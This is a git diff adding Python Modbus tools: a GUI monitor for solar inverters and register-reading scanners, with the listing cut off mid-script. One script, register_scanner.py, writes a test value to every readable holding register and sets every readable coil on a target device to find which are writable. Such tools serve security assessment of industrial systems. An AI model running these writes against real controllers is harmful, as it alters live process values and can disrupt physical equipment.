configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") 